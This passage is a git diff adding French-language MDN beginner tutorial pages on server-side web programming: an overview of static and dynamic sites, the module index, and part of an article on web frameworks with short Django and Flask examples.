Une fois que la fonction junior () a obtenu la liste des équipes juniors, elle appelle la fonction render () en transmettant la requête HttpRequest d'origine, un modèle HTML et un objet "context" définissant les informations à inclure dans le modèle. La fonction render () est une fonction pratique qui génère du HTML à l'aide d'un context et d'un template HTML, puis le renvoie dans un objet HttpResponse.De toute évidence, les frameworks Web peuvent vous aider dans de nombreuses autres tâches. Nous discutons beaucoup plus d'avantages et de choix de frameworks Web populaires dans le prochain article.

+ +

Summary

+ +

À ce stade, vous devez avoir une bonne vue d'ensemble des opérations que le code côté serveur doit effectuer et connaître certaines des manières dont une infrastructure Web côté serveur peut faciliter cela.

+ +

Dans un module suivant, nous vous aiderons à choisir le meilleur framework Web pour votre premier site.

+ +

{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

+ +

In this module

+ + diff --git a/files/fr/learn/server-side/first_steps/index.html b/files/fr/learn/server-side/first_steps/index.html new file mode 100644 index 0000000000..a8caf88e4d --- /dev/null +++ b/files/fr/learn/server-side/first_steps/index.html @@ -0,0 +1,45 @@ +--- +title: Premiers pas dans la programmation d'un site côté serveur +slug: Learn/Server-side/Premiers_pas +tags: + - Débutant + - Encodage + - Guide + - Intro + - Programmation côté serveur +translation_of: Learn/Server-side/First_steps +--- +
{{LearnSidebar}}
+ +

Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web.   

+ +

Prérequis

+ +

Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire.

+ +

Vous aurez besoin de comprendre "comment fonctionne le web". Nous vous recommandons de lire d'abord les sujets suivants :

+ + + +

Avec cette compréhension de base, vous serez prêts à parcourir les modules de cette section.

+ +

Guides

+ +
+
Introduction au côté serveur
+
Bienvenue au cours de programmation débutant de MDN ! Dans ce premier article, nous examinerons la programmation côté serveur, répondant à des questions comme «En quoi consiste-t-elle ?», «En quoi diffère-t-elle de la programmation côté client ?» et «Pourquoi est-ce si utile ?». Après avoir lu cet article, vous comprendrez comment la programmation côté serveur donne aux sites web toute leur puissance.
+
Présentation client-serveur
+
Maintenant que vous connaissez le but et les avantages potentiels de la programmation côté serveur, nous allons examiner en détail ce qui se passe lorsqu'un serveur reçoit une "requête dynamique" d'un navigateur. Comme la plupart des codes côté serveur traitent les demandes et les réponses de la même manière, cela vous aidera à comprendre ce que vous devez faire lorsque vous écrivez votre propre code.
+
Frameworks web côté serveur
+
Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur.
+
Sécurité de votre site web
+
La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes.
+
+ +

Évaluations

+ +

Ce module "aperçu" n'a aucune évaluation car nous ne vous avons pas encore montré de code. Nous espérons à ce stade que vous avez une bonne compréhension des types de fonctionnalités que vous pouvez fournir en utilisant la programmation côté serveur et que vous avez pris une décision quant à l'infrastructure web côté serveur que vous utiliserez pour créer votre premier site web.

diff --git a/files/fr/learn/server-side/first_steps/introduction/index.html b/files/fr/learn/server-side/first_steps/introduction/index.html new file mode 100644 index 0000000000..d61d1d18c4 --- /dev/null +++ b/files/fr/learn/server-side/first_steps/introduction/index.html @@ -0,0 +1,234 @@ +--- +title: Présentation du côté serveur +slug: Learn/Server-side/Premiers_pas/Introduction +tags: + - Apprendre + - Débutant + - Guide + - Intro + - Programmation côté serveur + - Serveur +translation_of: Learn/Server-side/First_steps/Introduction +--- +
{{LearnSidebar}}
+ +
{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}
+ +

Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web.

+ + + + + + + + + + + + +
Prérequis:Connaissances de base en informatique. Une compréhension de base de ce qu'est un serveur web.
Objectif:Se familiariser avec la programmation côté serveur, ce qu'elle peut faire, et en quoi elle diffère de la programmation côté client.
+ +

La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). 

+ +

L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants.

+ +

Cela peut même permettre une interaction avec les utilisateurs du site, en envoyant des notifications et mises à jour par email ou via d'autres canaux. Toutes ces capacités rendent possible un engagement plus important avec l'utilisateur.

+ +

Dans le monde moderne du développement web, apprendre le développement côté serveur est fortement recommandé.

+ +

Qu'est-ce que la programmation côté serveur?

+ +

Les navigateurs web communiquent avec les serveurs web en utilisant le protocole {{glossary("HTTP")}} (HyperText Transfer Protocol). Quand vous cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une requête HTTP est envoyée du navigateur au serveur cible.

+ +

Une requête inclut une URL pour identifier la ressource demandée, une méthode pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans les paramètres de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — query string en anglais), les données POST (données envoyées par la méthode HTTP POST), ou les {{glossary("Cookie", "cookies associés")}}.

+ +

Les serveurs web attendent des requêtes du client, les traitent quand elles arrivent, et répondent au navigateur web avec une réponse HTTP. La réponse contient un statut qui indique si la requête a pu être traitée avec succès ou non (exemple "HTTP/1.1 200 OK" pour indiquer le succès). 

+ +

Le corps de la réponse, si la requête réussit, contient alors la ressource demandée (comme une page HTML, une image, etc...), que le navigateur web peut alors afficher.

+ +

Sites statiques

+ +

Le diagramme ci-dessous montre l'architecture d'un serveur web basique pour un site statique (un site statique est un site qui renvoie du contenu codé en dur, c'est à dire le contenu d'un fichier, quand une ressource donnée est demandée). Quand un utilisateur veut naviguer sur une page, le navigateur envoie une requête HTTP "GET" spécifiant son URL.

+ +

Le serveur récupère le document demandé du système de fichiers et retourne une réponse HTTP contenant le document et le statut de la réponse (habituellement, 200 OK). Si le fichier ne peut pas être recupéré pour une raison x ou y, le statut d'erreur est retourné (voir réponses d'erreur client et réponse d'erreur serveur).

+ +

A simplified diagram of a static web server.

+ +

Sites dynamiques

+ +

Un site web dynamique, quant à lui, est un site dont une partie des réponses sont générées dynamiquement, à la demande. Sur les sites dynamiques, les pages HTML sont normalement crées en insérant des données d'une base de données dans des espaces réservés à l'intérieur de templates HTML (c'est une manière beaucoup plus efficace que des fichiers statiques pour stocker de grandes quantités de contenu). 

+ +

Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse.

+ +

La plupart du code pour maintenir un site web dynamique doit s'exécuter sur le serveur. La création de ce code est ce qu'on appelle la "programmation côté serveur" (ou parfois "codage back-end").

+ +

Le diagramme ci-dessous montre une architecture simple pour un site web dynamique. Comme dans le diagramme précédent, les navigateurs envoient des requêtes HTTP au serveur, qui les traite et retourne les réponses HTTP appropriées.

+ +

Les requêtes pour les ressources statiques sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc).

+ +

A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview.

+ +

Les requêtes pour les ressources dynamiques, elles, sont transmises (2) au code côté serveur (indiqué dans le diagramme comme Web Application). Le serveur interprète la requête, lit les informations correspondantes dans la base de données (3), combine les données récupérées avec les templates HTML (4), et renvoie la réponse avec le HTML généré (5,6). 

+ +
+

La programmation côté serveur c'est pareil que côté client?

+
+ +

Voyons maintenant le code impliqué dans la programmation côté serveur et côté client. Dans chaque cas, le code est significativement différent :

+ +
    +
  • Ils ont des objectifs et des préoccupations différents.
    • +
  • Ils n'utilisent généralement pas les mêmes langages de programmation (exception faite de JavaScript, qui peut être utilisé côté serveur et côté client).
    • +
  • Ils s'exécutent dans des environnements différents du système d'exploitation.
    • +
+ +

Le code exécuté par le navigateur est connu sous le nom de code côté client (ou front-end) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu.

+ +

Le code client est écrit en HTML, CSS, et JavaScript — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers).

+ +

Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web  — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs.

+ +

Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser.

+ +

Typiquement, les développeurs écrivent leur code en utilisant des frameworks web. Les frameworks web sont des ensembles de fonctions, objets, règles et autres constructions de code conçus pour résoudre des problèmes courants, accélérer le développement et simplifier les différents types de tâches rencontrées dans un domaine particulier.

+ +

Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.).

+ +
+

Note : Les frameworks côté client sont souvent utilisés pour accélérer le développement du code côté client, mais vous pouvez également choisir d'écrire tout le code à la main ; en vérité, écrire votre code à la main peut être plus rapide et plus efficace si vous n'avez besoin que d'une petite interface web très simple.

+ +

En revanche, vous ne penseriez presque jamais à écrire les composants côté serveur d'une application web sans framework — implémenter des fonctionnalités vitales comme un serveur HTTP est très difficile à faire à partir de rien, comme disons en Python, alors que les frameworks web Python comme Django le fournissent tout prêt à l'emploi, accompagné d'autres outils très utiles.

+
+ +
+

Que peut-on faire côté serveur?

+ +

La programmation côté serveur est très utile parce qu'elle nous permet de délivrer efficacement de l'information taillée sur mesure pour l'utilisateur et ainsi créer une bien meilleure expérience utilisateur.

+
+ +

Des compagnies comme Amazon utilisent la programmation côté serveur pour construire la recherche de produits, faire des suggestions de produit ciblées sur les préférences du client et ses habitudes d'achat, simplifier les achats, etc.

+ +

Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu.

+ +

Les utilisations les plus courantes et les plus bénéfiques de la programmation côté serveur sont listées ci-dessous. Vous verrez qu'il y a quelques recoupements :

+ +

Stockage et distribution de l'information plus efficaces

+ +

Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible.

+ +

La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée).

+ +

Le serveur ne se limite pas à l'envoi d'informations à partir de bases de données, il peut retourner le résultat d'autres outils logiciels, ou les données de services de communication. Le contenu peut même être ciblé pour le type d'appareil client qui le reçoit.

+ +

Comme les informations se trouvent dans une base de données, elles peuvent également être partagées et mises à jour plus facilement avec d'autres systèmes (par exemple, quand des produits sont vendus en ligne ou dans un magasin, le magasin peut mettre à jour son inventaire).

+ +
+

Note : Votre imagination n'a pas à travailler dur pour voir les bénéfices du code côté serveur pour le stockage et distribution de l'information:

+ +
    +
  1. Allez sur Amazon ou tout autre site e-commerce.
    2. +
  2. Cherchez un certain nombre de mot-clés et remarquez que la structure de la page de change pas, même si les résultats oui. 
    3. +
  3. Ouvrez deux ou trois produits. Remarquez que la structure et la disposition de la page sont identiques, mais que le contenu pour les différents produits a été extrait de la base de données.
    4. +
+ +

Pour un terme de recherche courant  ("poisson", disons) vous pouvez voir littéralement des millions de valeurs retournées. Utiliser une base de données permet à ces données d'être stockées et partagées efficacement, et permet de contrôler la présentation de l'information à partir d'un seul endroit.

+
+ +

Expérience utilisateur personnalisée

+ +

Les serveurs peuvent stocker et utiliser des informations sur les clients pour fournir une expérience utilisateur personnalisée. Par exemple, beaucoup de sites proposent d'enregistrer une carte de crédit pour que les détails n'aient pas à être saisis de nouveau. Des sites comme Google Maps peuvent utiliser les emplacement enregistrés ou l'emplacement en cours pour fournir des informations d'itinéraire et chercher ou utiliser l'historique des voyages précédents pour trouver des boutiques locales dans les résultats de recherche.

+ +

Une analyse plus approfondie des habitudes des utilisateurs peut être utilisée pour anticiper leurs intérêts et personnaliser les réponses ou les notifications du serveur, par exemple pour fournir une liste des lieux précédemment visités ou les plus populaires que vous pourriez vouloir chercher sur la carte.

+ +
+

Note : Google Maps sauvegarde vos recherches et votre historique de visites. Les emplacement fréquemment visités ou fréquemment recherchés sont plus mis en avant que les autres.

+ +

Les résultats de recherche Google sont optimisés en fonction des recherches précédentes.

+ +
    +
  1.  Allez sur Google.
    2. +
  2.  Recherchez "football".
    3. +
  3.  Maintenant tapez "favoris" dans la barre de recherche et regardez les prédictions de recherche de l'autocomplete.
    4. +
+ +

Coïncidence ? Nada!

+
+ +

Accès contrôlé au contenu

+ +

La programmation côté serveur permet aux sites de restreindre l'accès aux utilisateurs autorisés et de ne servir que les informations qu'un utilisateur à la permission de voir.

+ +

Quelques exemples du monde réel incluent :

+ +
    +
  • Les réseaux sociaux comme Facebook permettent aux utilisateurs de contrôler entièrement leurs propres données, mais permettent seulement à leurs amis de les voir ou des les commenter. L'utilisateur détermine qui peut voir ses données, et par extension, dans le flux de qui elles apparaissent —  l'autorisation est une partie centrale de l'expérience utilisateur !
    • +
  • +

    Le site sur lequel vous êtes en ce moment même contrôle l'accès au contenu : les articles sont visibles à tout le monde, mais seuls les utilisateurs identifiés peuvent éditer le contenu. Essayez de cliquer sur le bouton Modifier en haut de cette page — si vous êtes identifié, vous verrez la vue d'édition ; sinon, vous serez redirigé vers la page d'inscription.

    +
    • +
+ +
+

Note : Il existe de nombreux autres exemples où l'accès au contenu est contrôlé. Par exemple, que voyez-vous si vous allez sur le site en ligne de votre banque ? Connectez-vous à votre compte — quelles autres informations pouvez-vous voir et modifier ? Quelles informations pouvez-vous voir que seule la banque peut changer ?

+
+ +

Stocker les informations de session/d'état

+ +

La programmation côté serveur permet aux développeurs d'utiliser des sessions — en gros, un mécanisme qui permet au serveur de stocker des informations sur l'utilisation en cours d'un site et d'envoyer des réponses différentes selon cette information.

+ +

Cela permet, par exemple, à un site de savoir qu'un utilisateur s'est déjà identifié et afficher des messages qui lui sont destinés, d'afficher son historique de commande, ou peut-être encore, dans le cas d'un jeu, lui permettre de reprendre là où il en est resté.

+ +
+

Note : Visitez le site d'un journal qui a une offre d'abonnement et ouvrez des pages (par exemple The Age). Si vous continuez à visiter le site quelques heures/jours, éventuellement, vous commencerez à être redirigé vers des pages expliquant comment vous abonner, et vous ne pourrez plus accéder aux articles. Cette information est un exemple de session stockée dans des cookies.

+
+ +

Notifications et communication

+ +

Les serveurs peuvent envoyer des notifications générales ou personnalisées à l'utilisateur via le site web lui-même ou par email, SMS, messagerie instantannée, conversations vidéo ou autres services de communication.

+ +

Quelques exemples incluent :

+ +
    +
  • Facebook et Twitter envoient des emails et SMS pour notifier des nouvelles communications.
    • +
  • Amazon envoie régulièrement des emails qui suggèrent des produits similaires à ceux que vous avez déjà acheté ou vu, par lesquels vous pourriez être intéressé.
    • +
  • Un serveur web peut envoyer des messages d'alerte aux administrateurs du site pour les prévenir en cas de mémoire insuffisante sur le serveur ou d'activité suspecte de l'utilisateur.
    • +
+ +
+

Note : Le type de notification le plus courant est la "confirmation d'inscription". Choisissez presque n'importe quel site qui vous intéresse (Google, Amazon, Instagram, etc.) et créez un nouveau compte en utilisant votre adresse email. Vous recevrez rapidement un email qui confirme votre inscription, ou qui exige une confirmation pour activer votre compte.

+
+ +

Analyse des données

+ +

Un site web peut collecter beaucoup de données sur les utilisateurs : ce qu'ils cherchent, ce qu'ils achètent, ce qu'ils recommandent, combien de temps ils restent sur chaque page. La programmation côté serveur peut être utilisée pour affiner les réponses en fonction de l'analyse de ces données.

+ +

Par exemple, Amazon et Google font tous deux de la publicité pour des produits en se basant sur les recherches précédentes, sur les achats que vous avez faits.

+ +
+

Note : Si vous êtes un utilisateur de Facebook, allez sur votre flux principal et regardez les posts. Notez que certains posts ne sont pas classés par ordre numérique — en particulier, les posts qui ont le plus de "likes" sont souvent placés plus haut dans la liste que les posts plus récents.

+ +

Observez également quels types de publicités vous voyez — vous pourrez voir des publicités pour des choses que vous avez regardé sur d'autres sites. L'algorithme de Facebook pour mettre en avant du contenu et faire de la publicité est un peu un mystérieux, mais il est clair qu'il prend en compte vos likes et ce que vous avez l'habitude de regarder !

+
+ +

Sommaire

+ +

Félicitations, vous avez atteint la fin du premier article sur la programmation côté serveur. 

+ +

Vous avez maintenant appris que le code côté serveur est exécuté sur un serveur web et que son rôle principal est de contrôler quelle information est envoyée à l'utilisateur (tandis que le code côté client gère principalement la structure et la présentation des données pour l'utilisateur).

+ +

Vous devez également comprendre que c'est utile pour créer des sites web qui délivrent de l'information efficacement, adaptée à chaque utilisateur et avoir une bonne idée de quelques choses que vous seriez capable de faire quand vous serez programmeur back-end.

+ +

Finalement, vous devez comprendre que le code côté serveur peut être écrit dans de nombreux langages de programmation et que l'on peut utiliser des frameworks web pour rendre ce processus plus facile.

+ +

Dans un futur article,  nous vous aiderons à choisir le framework le plus adapté pour la création d'un premier site. Ensuite, nous vous présenterons les principales interactions client-serveur plus en détails.

+ +

{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}

+ +

Dans ce module

+ + diff --git a/files/fr/learn/server-side/first_steps/web_frameworks/index.html b/files/fr/learn/server-side/first_steps/web_frameworks/index.html new file mode 100644 index 0000000000..b75c70fa0f --- /dev/null +++ b/files/fr/learn/server-side/first_steps/web_frameworks/index.html @@ -0,0 +1,306 @@ +--- +title: Les frameworks web côté serveur +slug: Learn/Server-side/Premiers_pas/Web_frameworks +tags: + - Débutant + - Guide + - Server + - Web +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}
+ +

L'article précédent nous a montré à quoi ressemble la communication entre les clients et les serveurs web, la nature des demandes et des réponses HTTP et ce qu’une application web côté serveur doit faire pour répondre aux demandes d’un navigateur web. Avec ces connaissances en main, il est temps d'explorer comment les frameworks peuvent nous simplifier la tâche.  En chemin, vous comprendrez comment choisir le framework le mieux adapté pour votre première application web côté serveur.

+ + + + + + + + + + + + +
Prérequis :Connaissance informatique de base.
Objectif :Comprendre comment les frameworks simplifient le développement/la maintenance du code côté serveur et vous faire réfléchir à propos de la sélection d'un framework pour votre propre développement.
+ +

Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure.

+ +

Vue d'ensemble

+ +

Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web.

+ +

Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté.

+ +

Que peut faire un framework web pour vous ?

+ +

Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web.

+ +

Travailler directement avec les requêtes et les réponses HTTP

+ +

Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur.

+ +

L'exemple ci-dessous montre comment cela fonctionne dans le framework web Django (Python). Chaque fonction "view" (un gestionnaire de demandes) reçoit un objet HttpRequest contenant les informations de la demande et doit renvoyer un objet HttpResponse avec la sortie formatée (dans ce cas une chaîne).

+ +
# Django view function
+from django.http import HttpResponse
+
+def index(request):
+    # Get an HttpRequest (request)
+    # perform operations using information from the request.
+    # Return HttpResponse
+    return HttpResponse('Output string to return')
+
+ +

Acheminer les requettes au gestionnaire approprié

+ +

La plupart des sites fournissent un certain nombre de ressources différentes, accessibles via des URL distinctes. Il est difficile de gérer toutes ces fonctions en une seule fois. Par conséquent, les infrastructures web fournissent des mécanismes simples pour mapper les modèles d'URL vers des fonctions de gestionnaire spécifiques. Cette approche présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière sans avoir à modifier le code sous-jacent.

+ +

Différents frameworks utilisent différents mécanismes pour la cartographie. Par exemple, l'infrastructure web Flask (Python) ajoute des itinéraires pour afficher les fonctions à l'aide d'un décorateur.

+ +
@app.route("/")
+def hello():
+    return "Hello World!"
+ +

Alors que Django attend des développeurs qu'ils définissent une liste de mappages d'URL entre un modèle d'URL et une fonction d'affichage.

+ +
urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best),
+]
+
+ +

Faciliter l'accès aux données via la requête

+ +

Les données peuvent être encodées dans une requête HTTP de différentes manières. Une demande HTTP GET pour obtenir des fichiers ou des données du serveur peut coder les données requises dans les paramètres d'URL ou dans la structure d'URL. Une demande HTTP POST de mise à jour une ressource sur le serveur inclura plutôt les informations de mise à jour en tant que "données POST" dans le corps de la demande. La requête HTTP peut également inclure des informations sur la session ou l'utilisateur en cours dans un cookie côté client. Les frameworks web fournissent des mécanismes appropriés au langage de programmation pour accéder à ces informations. Par exemple, l'objet HttpRequest que Django transmet à chaque fonction d'affichage contient des méthodes et des propriétés permettant d'accéder à l'URL cible, le type de demande (par exemple, un HTTP GET), les paramètres GET ou POST, les données de cookie et de session, etc. Django peut également transmettre informations codées dans la structure de l'URL en définissant des "modèles de capture" dans le mappeur d'URL (voir le dernier fragment de code dans la section ci-dessus).

+ +

extraction et simplification de l’accès à la base de données

+ +

Les sites web utilisent des bases de données pour stocker des informations à partager avec les utilisateurs et sur les utilisateurs. Les infrastructures web fournissent souvent une couche de base de données qui extrait les opérations de lecture, d'écriture, de requête et de suppression de base de données. Cette couche d'extraction est appelée ORM (Object-Relational Mapper).

+ +

L'utilisation d'un ORM présente deux avantages :   

+ +
    +
  1. Vous pouvez remplacer la base de données sous-jacente sans avoir nécessairement besoin de changer le code qui l'utilise. Cela permet aux développeurs d’optimiser les caractéristiques des différentes bases de données en fonction de leur utilisation.   
    2. +
  2. La validation de base des données peut être mise en œuvre avec le framework. Il est ainsi plus facile et plus sûr de vérifier que les données sont stockées dans le type de champ de base de données approprié, qu’elles ont le format correct (par exemple une adresse électronique) et qu’elles ne sont en aucun cas malveillantes (les pirates peuvent utiliser certains modèles de code pour agir mal, telles que la suppression des enregistrements de la base de données).
    3. +
+ +

Par exemple, le framework web Django fournit un ORM et fait référence à l'objet utilisé pour définir la structure d'un enregistrement en tant que modèle. Le modèle spécifie les types de champs à stocker, ce qui peut fournir une validation au niveau du champ sur les informations pouvant être stockées (par exemple, un champ de courrier électronique autoriserait uniquement les adresses de courrier électronique valides). Les définitions de champ peuvent également spécifier leur taille maximale, leurs valeurs par défaut, leurs options de liste de sélection, leur aide pour la documentation, leur libellé pour les formulaires, etc. Le modèle ne spécifie aucune information sur la base de données sous-jacente, il s'agit d'un paramètre de configuration susceptible d'être modifié séparément de notre code.

+ +

Le premier extrait de code ci-dessous montre un modèle Django très simple pour un objet Team. Ceci stocke le nom et le niveau de l'équipe en tant que champs de caractères et spécifie un nombre maximal de caractères à stocker pour chaque enregistrement. Team_level étant un champ de choix, nous fournissons également un mappage entre les choix à afficher et les données à stocker, ainsi qu'une valeur par défaut.

+ +
#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+
+ +

Le modèle Django fournit une API de requête simple pour la recherche dans la base de données. Cela peut correspondre à plusieurs champs à la fois en utilisant différents critères (par exemple, exact, insensible à la casse, supérieur à, etc.), et peut prendre en charge des instructions complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'equipe (team name) qui commence par "Fr" ou se termine par "al").

+ +

Le deuxième extrait de code montre une fonction d'affichage (gestionnaire de ressources) permettant d'afficher toutes nos équipes U09. Dans ce cas, nous spécifions que nous voulons filtrer tous les enregistrements où le champ team_level a exactement le texte 'U09' (notez dans l exemple ci dessous comment ce critère est transmis à la fonction filter () sous forme d'argument avec le nom du champ et le type de correspondance séparés par un double. underscores: team_level__exact).

+ +
#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    list_teams = Team.objects.filter(team_level__exact="U09")
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+
+ +
+
+ +

Rendering data

+ +

Les frameworks web fournissent souvent des systèmes de templates. Ceux-ci vous permettent de spécifier la structure d'un document de sortie, en utilisant des espaces réservés pour les données qui seront ajoutées lors de la génération d'une page. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents.

+ +

Les frameworks web fournissent souvent un mécanisme facilitant la génération d'autres formats à partir de données stockées, notamment {{glossary ("JSON")}} et {{glossary ("XML")}}.

+ +

Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,{{ variable_name }} ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:{% expression %} ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de liste transmises au modèle.

+ +
+

Note : Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), etc.

+
+ +

L'extrait de code ci-dessous montre comment cela fonctionne. En reprenant l'exemple "youngest_teams" de la section précédente, le modèle HTML se voit transmettre par la vue une variable de liste nommée youngest_teams. Dans le squelette HTML, nous avons une expression qui vérifie d'abord si la variable youngest_teams existe, puis itère dans une boucle for. À chaque itération, le modèle affiche la valeur team_name de l'équipe dans un élément de liste.

+ +
#best/templates/best/index.html
+
+<!DOCTYPE html>
+<html lang="en">
+<body>
+
+ {% if youngest_teams %}
+    <ul>
+    {% for team in youngest_teams %}
+        <li>\{\{ team.team_name \}\}</li>
+    {% endfor %}
+    </ul>
+{% else %}
+    <p>No teams are available.</p>
+{% endif %}
+
+</body>
+</html>
+
+ +

Comment choisir un framework web

+ +

Il existe de nombreux frameworks web pour presque tous les langages de programmation que vous souhaitez utiliser (nous énumérons quelques-uns des frameworks les plus populaires dans la section suivante). Avec autant de choix, il peut devenir difficile de déterminer quel framework constitue le meilleur point de départ pour votre nouvelle application web.

+ +

Certains des facteurs qui peuvent affecter votre décision sont les suivants:

+ +
    +
